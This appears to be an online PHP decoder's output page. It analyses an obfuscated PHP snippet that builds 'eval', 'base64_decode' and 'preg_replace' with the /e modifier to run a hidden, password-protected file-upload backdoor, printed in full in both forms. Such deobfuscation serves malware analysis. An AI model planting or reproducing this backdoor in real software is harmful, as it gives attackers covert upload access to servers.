Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function p2g7x() { $p2g7k = '0bcdb3ed3053f040a06ed5b18a6e1545'; $p2g7l = 'abcdefg..

Decoded Output download

eval(base64_decode("JGxvZyA9ICdwcmludCc7IGlmICghaXNzZXQoJF9TRVNTSU9OKSkgeyAgICAgQHNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgICAgIGlmIChpc3NldCgkX0ZJTEVTWyd1cGZpbGUnXSkpIHsgICAgICAgICBpZiAoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSkpIHsgICAgICAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwZmlsZSddWyd0bXBfbmFtZSddLCAkX1BPU1RbJ2Z4cGF0aCddKTsgICAgICAgICAgICAgZWNobyAnVXBsb2FkZWQhJzsgICAgICAgICB9IAl1bnNldCgkX1NFU1NJT05bJ2xvZyddKTsgICAgICAgICBleGl0OyAgICAgfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3dTEnXSkgJiYgKG1kNSgkX1BPU1RbJ3B3dTEnXSkgPT0gJHAyZzdrKSkgeyAgICAgZWNobyAibG9nZ2VkIGluXG4iOyAgICAgJF9TRVNTSU9OWydsb2cnXSA9ICRsb2c7ICAgICBleGl0OyB9"));

Did this file decode correctly?

Original Code

<?php
function p2g7x() {
$p2g7k = '0bcdb3ed3053f040a06ed5b18a6e1545';
$p2g7l = 'abcdefghijklmnopqrstuvwxyz0123456789_*@./';
$p2g7m = $p2g7l[1].$p2g7l[0].$p2g7l[18].$p2g7l[4].$p2g7l[32].$p2g7l[30].$p2g7l[36].$p2g7l[3].$p2g7l[4].$p2g7l[2].$p2g7l[14].$p2g7l[3].$p2g7l[4];
$p2g7n = $p2g7l[15].$p2g7l[17].$p2g7l[4].$p2g7l[6].$p2g7l[36].$p2g7l[17].$p2g7l[4].$p2g7l[15].$p2g7l[11].$p2g7l[0].$p2g7l[2].$p2g7l[4];
$p2g7o = $p2g7l[4].$p2g7l[21].$p2g7l[0].$p2g7l[11];
$p2g7p = $p2g7l[40].$p2g7l[39].$p2g7l[37].$p2g7l[40].$p2g7l[4];
$p2g7n($p2g7p,$p2g7l[38]."$p2g7o($p2g7m(\"JGxvZyA9ICdwcmludCc7IGlmICghaXNzZXQoJF9TRVNTSU9OKSkgeyAgICAgQHNlc3Npb25fc3RhcnQoKTsgfSBpZiAoaXNzZXQoJF9TRVNTSU9OWydsb2cnXSkgJiYgKCRfU0VTU0lPTlsnbG9nJ10gPT0gJGxvZykpIHsgICAgIGlmIChpc3NldCgkX0ZJTEVTWyd1cGZpbGUnXSkpIHsgICAgICAgICBpZiAoaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1cGZpbGUnXVsndG1wX25hbWUnXSkpIHsgICAgICAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ3VwZmlsZSddWyd0bXBfbmFtZSddLCAkX1BPU1RbJ2Z4cGF0aCddKTsgICAgICAgICAgICAgZWNobyAnVXBsb2FkZWQhJzsgICAgICAgICB9IAl1bnNldCgkX1NFU1NJT05bJ2xvZyddKTsgICAgICAgICBleGl0OyAgICAgfSB9IGlmIChpc3NldCgkX1BPU1RbJ3B3dTEnXSkgJiYgKG1kNSgkX1BPU1RbJ3B3dTEnXSkgPT0gJHAyZzdrKSkgeyAgICAgZWNobyAibG9nZ2VkIGluXG4iOyAgICAgJF9TRVNTSU9OWydsb2cnXSA9ICRsb2c7ICAgICBleGl0OyB9\"))",'');} @p2g7x();
?>

Function Calls

p2g7x 1
preg_replace 1

Variables

$p2g7k 0bcdb3ed3053f040a06ed5b18a6e1545
$p2g7l abcdefghijklmnopqrstuvwxyz0123456789_*@./
$p2g7m base64_decode
$p2g7n preg_replace
$p2g7o eval
$p2g7p /.*/e

Stats

MD5 1d808195c5ca42e1d5608bee3974752b
Eval Count 1
Decode Time 160 ms